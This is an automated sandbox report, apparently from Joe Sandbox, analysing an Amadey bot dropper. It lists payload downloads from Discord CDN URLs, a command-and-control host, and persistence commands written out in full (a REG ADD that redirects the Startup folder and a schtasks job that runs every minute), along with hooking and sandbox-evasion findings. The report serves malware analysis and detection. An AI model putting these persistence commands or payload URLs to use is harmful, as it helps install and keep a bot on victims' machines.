Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866052288628129812/kliper.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866064263189233694/GoogleInstall.exe HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/837741922641903637/866064264027701248/svchost.exe HTTP/1.1Host: cdn.discordapp.com

Source: unknown

DNS traffic detected: queries for: x-vpn.ug

Source: unknown

HTTP traffic detected: POST /hfV3vDtt/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7Host: x-vpn.ugContent-Length: 96499Cache-Control: no-cache

Source: drbux.exe, 00000002.00000003.375941985.0000000000BDD000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/837741922641903637/866052288628129812/kliper.exe
Source: drbux.exe, 00000002.00000002.603141664.0000000000BDD000.00000004.00000020.sdmp	String found in binary or memory: http://cdn.discordapp.com/attachments/837741922641903637/866064263189233694/GoogleInstall.exe
Source: vhNyVU8USk.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: vhNyVU8USk.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: vhNyVU8USk.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: drbux.exe, 00000002.00000003.418863250.0000000000BDE000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/
Source: drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/K
Source: drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDcom/attachments/837741922641903637/866064264027701248/svchost.exe
Source: drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp, drbux.exe, 00000002.00000002.603065171.0000000000BBA000.00000004.00000020.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php
Source: drbux.exe, 00000002.00000003.375941985.0000000000BDD000.00000004.00000001.sdmp, drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp, drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp, drbux.exe, 00000002.00000003.463193524.0000000004958000.00000004.00000001.sdmp, drbux.exe, 00000002.00000002.603065171.0000000000BBA000.00000004.00000020.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php?scr=1
Source: drbux.exe, 00000002.00000003.435809821.0000000000BDD000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php?scr=15V
Source: drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php?scr=1b
Source: drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php?scr=1ncoded_
Source: drbux.exe, 00000002.00000003.435809821.0000000000BDD000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.php?scr=1pp
Source: drbux.exe, 00000002.00000003.463193524.0000000004958000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.phpe
Source: drbux.exe, 00000002.00000002.610451505.0000000004950000.00000004.00000001.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDtt/index.phpp
Source: drbux.exe, 00000002.00000002.603065171.0000000000BBA000.00000004.00000020.sdmp	String found in binary or memory: http://x-vpn.ug/hfV3vDvDtt/index.php
Source: drbux.exe, 00000002.00000003.448301937.0000000000BDD000.00000004.00000001.sdmp	String found in binary or memory: https://displaycatalogtt/index.php
Source: vhNyVU8USk.exe	String found in binary or memory: https://sectigo.com/CPS0D
Source: drbux.exe, 00000002.00000002.605940532.00000000030DE000.00000004.00000001.sdmp, kliper[1].htm.2.dr	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing

Source: vhNyVU8USk.exe, 00000001.00000002.354537118.000000000109A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012F4D50		2_2_012F4D50
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_012D3180		2_2_012D3180

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe 42054B960727FBD72BDE57E8903881E4239E9500F1160CA298E10A1B438698A8

Source: vhNyVU8USk.exe

Static PE information: invalid certificate

Source: vhNyVU8USk.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: drbux.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: vhNyVU8USk.exe, 00000001.00000000.333943977.00000000009B7000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameBinaryMethodCa.exe8 vs vhNyVU8USk.exe
Source: vhNyVU8USk.exe, 00000001.00000002.355170459.0000000002BF0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs vhNyVU8USk.exe
Source: vhNyVU8USk.exe, 00000001.00000002.355102604.0000000002BB0000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs vhNyVU8USk.exe
Source: vhNyVU8USk.exe, 00000001.00000002.355102604.0000000002BB0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs vhNyVU8USk.exe
Source: vhNyVU8USk.exe	Binary or memory string: OriginalFilenameBinaryMethodCa.exe8 vs vhNyVU8USk.exe

Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: cldapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: cldapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Section loaded: bcrypt.dll	Jump to behavior

Source: vhNyVU8USk.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\

Source: classification engine

Classification label: mal100.troj.evad.winEXE@14/14@2/3

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2408:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

File created: C:\Users\user\AppData\Local\Temp\15213853321935212556

Jump to behavior

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: vhNyVU8USk.exe	Virustotal: Detection: 52%
Source: vhNyVU8USk.exe	ReversingLabs: Detection: 35%

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

File read: C:\Users\user\Desktop\vhNyVU8USk.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\vhNyVU8USk.exe 'C:\Users\user\Desktop\vhNyVU8USk.exe'
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe'
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Process created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\	Jump to behavior

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: vhNyVU8USk.exe

Static file information: File size 4470944 > 1048576

Source: vhNyVU8USk.exe

Static PE information: Raw size of MATR is bigger than: 0x100000 < 0x418a00

Source: vhNyVU8USk.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Code function: 2_2_012DBFA0 Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

2_2_012DBFA0

Source: initial sample

Static PE information: section where entry point is pointing to: MATR

Source: vhNyVU8USk.exe	Static PE information: section name: MATR
Source: vhNyVU8USk.exe	Static PE information: section name: MATR
Source: vhNyVU8USk.exe	Static PE information: section name: MATR
Source: vhNyVU8USk.exe	Static PE information: section name: MATR
Source: drbux.exe.1.dr	Static PE information: section name: MATR
Source: drbux.exe.1.dr	Static PE information: section name: MATR
Source: drbux.exe.1.dr	Static PE information: section name: MATR
Source: drbux.exe.1.dr	Static PE information: section name: MATR

Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Code function: 1_2_008A97F1 push eax; retf	1_2_008A9814
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 2_2_018897F1 push eax; retf	2_2_01889814
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Code function: 9_2_018897F1 push eax; retf	9_2_01889814

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000002.00000002.602859911.0000000000B2A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.602919944.0000000000B56000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.435588336.0000000000B56000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448106642.0000000000B4C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448153391.0000000000B6A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.448130651.0000000000B56000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.435543227.0000000000B4A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.602954967.0000000000B6A000.00000004.00000020.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\vhNyVU8USk.exe

File created: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Jump to dropped file

Boot Survival:

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F

Hooking and other Techniques for Hiding and Protection:

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: BC0005 value: E9 FB BF 26 77	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 77E2C000 value: E9 0A 40 D9 88	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: BD0008 value: E9 AB E0 29 77	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 77E6E0B0 value: E9 60 1F D6 88	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: BF0005 value: E9 CB 5A 4C 76	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 770B5AD0 value: E9 3A A5 B3 89	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 1060005 value: E9 5B B0 07 76	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 770DB060 value: E9 AA 4F F8 89	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 1070005 value: E9 DB F8 B1 75	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 76B8F8E0 value: E9 2A 07 4E 8A	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 1080005 value: E9 FB 42 B3 75	Jump to behavior
Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Memory written: PID: 6896 base: 76BB4300 value: E9 0A BD 4C 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: C60005 value: E9 FB BF 1C 77	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 77E2C000 value: E9 0A 40 E3 88	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 1190008 value: E9 AB E0 CD 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 77E6E0B0 value: E9 60 1F 32 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 11A0005 value: E9 CB 5A F1 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 770B5AD0 value: E9 3A A5 0E 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 2F70005 value: E9 5B B0 16 74	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 770DB060 value: E9 AA 4F E9 8B	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 2F80005 value: E9 DB F8 C0 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 76B8F8E0 value: E9 2A 07 3F 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 2F90005 value: E9 FB 42 C2 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 7000 base: 76BB4300 value: E9 0A BD 3D 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: DF0005 value: E9 FB BF 03 77	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 77E2C000 value: E9 0A 40 FC 88	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 1100008 value: E9 AB E0 D6 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 77E6E0B0 value: E9 60 1F 29 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 1290005 value: E9 CB 5A E2 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 770B5AD0 value: E9 3A A5 1D 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 12C0005 value: E9 5B B0 E1 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 770DB060 value: E9 AA 4F 1E 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 3580005 value: E9 DB F8 60 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 76B8F8E0 value: E9 2A 07 9F 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 3590005 value: E9 FB 42 62 73	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 648 base: 76BB4300 value: E9 0A BD 9D 8C	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: DF0005 value: E9 FB BF 03 77	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 77E2C000 value: E9 0A 40 FC 88	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 1180008 value: E9 AB E0 CE 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 77E6E0B0 value: E9 60 1F 31 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 12B0005 value: E9 CB 5A E0 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 770B5AD0 value: E9 3A A5 1F 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 1AD0005 value: E9 5B B0 60 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 770DB060 value: E9 AA 4F 9F 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 1AE0005 value: E9 DB F8 0A 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 76B8F8E0 value: E9 2A 07 F5 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 1AF0005 value: E9 FB 42 0C 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 6264 base: 76BB4300 value: E9 0A BD F3 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: E20005 value: E9 FB BF 00 77	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 77E2C000 value: E9 0A 40 FF 88	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 1270008 value: E9 AB E0 BF 76	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 77E6E0B0 value: E9 60 1F 40 89	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 1280005 value: E9 CB 5A E3 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 770B5AD0 value: E9 3A A5 1C 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 12A0005 value: E9 5B B0 E3 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 770DB060 value: E9 AA 4F 1C 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 12B0005 value: E9 DB F8 8D 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 76B8F8E0 value: E9 2A 07 72 8A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 12C0005 value: E9 FB 42 8F 75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Memory written: PID: 4928 base: 76BB4300 value: E9 0A BD 70 8A	Jump to behavior

Source: C:\Users\user\Desktop\vhNyVU8USk.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vhNyVU8USk.exe, 00000001.00000002.351340066.0000000000326000.00000020.00020000.sdmp, drbux.exe, 00000002.00000002.603989491.0000000001306000.00000020.00020000.sdmp, drbux.exe, 00000009.00000002.382994391.0000000001306000.00000020.00020000.sdmp, drbux.exe, 00000013.00000002.474289422.0000000001306000.00000020.00020000.sdmp, drbux.exe, 00000019.00000002.598200028.0000000001306000.00000020.00020000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 7004	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 5096	Thread sleep count: 211 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 5096	Thread sleep time: -12660000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 5748	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6128	Thread sleep count: 193 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6128	Thread sleep time: -11580000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6224	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6192	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6192	Thread sleep time: -6300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 5744	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 5096	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 7004	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe TID: 6128	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
